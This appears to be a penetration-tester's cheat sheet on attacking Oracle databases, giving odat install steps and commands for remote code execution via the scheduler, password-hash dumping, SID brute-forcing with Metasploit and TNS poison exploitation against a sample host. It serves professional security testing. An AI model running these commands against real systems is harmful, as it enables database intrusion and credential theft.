> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/infrastructure/dbms/oracle.md).

# Oracle

* <https://xakep.ru/2015/04/07/195-oracle-db/>
* <https://www.blackhat.com/presentations/bh-usa-09/GATES/BHUSA09-Gates-OracleMetasploit-SLIDES.pdf>
* <https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener>
* <http://www.red-database-security.com/wp/oracle_cheat.pdf>

## odat

* [https://github.com/quentinhardy/odat/releases](https://github.com/quentinhardy/odat/releases/)
* <https://github.com/quentinhardy/odat#mind-map---odat--oracle-database-pentests>

Install manually (depreciated):

* <https://github.com/quentinhardy/odat#installation-optional-for-development-version>

```
$ git clone https://github.com/quentinhardy/odat ~/tools/odat && cd ~/tools/odat
$ git submodule init && git submodule update
$ sudo apt install libaio1 python3-dev alien python3-pip
$ wget https://download.oracle.com/otn_software/linux/instantclient/19600/oracle-instantclient19.6-basic-19.6.0.0.0-1.x86_64.rpm
$ wget https://download.oracle.com/otn_software/linux/instantclient/19600/oracle-instantclient19.6-devel-19.6.0.0.0-1.x86_64.rpm
$ sudo alien --to-deb *.rpm
$ sudo dpkg -i *.deb
$ vi /etc/profile
...
export ORACLE_HOME=/usr/lib/oracle/19.6/client64/
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$ORACLE_HOME/lib
export PATH=${ORACLE_HOME}bin:$PATH
...
$ pip3 install cx_Oracle
$ python3 odat.py -h
```

Code execution:

```
$ odat dbmsscheduler -s 10.10.13.37 -p 1521 -d <SID> -U sys -P 'Passw0rd!' --sysdba --exec '/usr/bin/python /tmp/1.py'
```

Passwords dumping:

```
$ odat passwordstealer -s 10.10.13.37 -p 1521 -d <SID> -U sys -P 'Passw0rd!' --sysdba --get-passwords
```

### TNS Poison

* <http://www.joxeankoret.com/download/tnspoison.pdf>

{% embed url="<https://youtu.be/0IKltOBXiII>" %}

Check with Nmap:

```
$ sudo wget https://gist.githubusercontent.com/JukArkadiy/3d6cff222d1b87e963e7/raw/fbe6fe17a9bca6ce839544b7afb2276fff061d46/oracle-tns-poison.nse -O /usr/share/nmap/scripts/oracle-tns-poison.nse
$ sudo nmap -v -n -Pn -sV --script oracle-tns-poison.nse -oA CVE-2014-0160/nmap/tns-poison -p1521 10.10.13.37
```

Brute SID with MSF:

```
msf > use auxiliary/scanner/oracle/sid_brute
msf > set RHOSTS file:oracle.txt
msf > set THREADS 25
msf > set VERBOSE false
msf > run
```

Brute SID with odat:

```
$ odat sidguesser -s 10.10.13.37 -p 1521
```

Exploit with odat:

* <https://github.com/quentinhardy/odat/wiki/tnspoison>

```
$ odat tnspoison -s 10.10.13.37 -d <SID> --test-module
$ odat tnspoison -s 10.10.13.37 -d <SID> --poison
```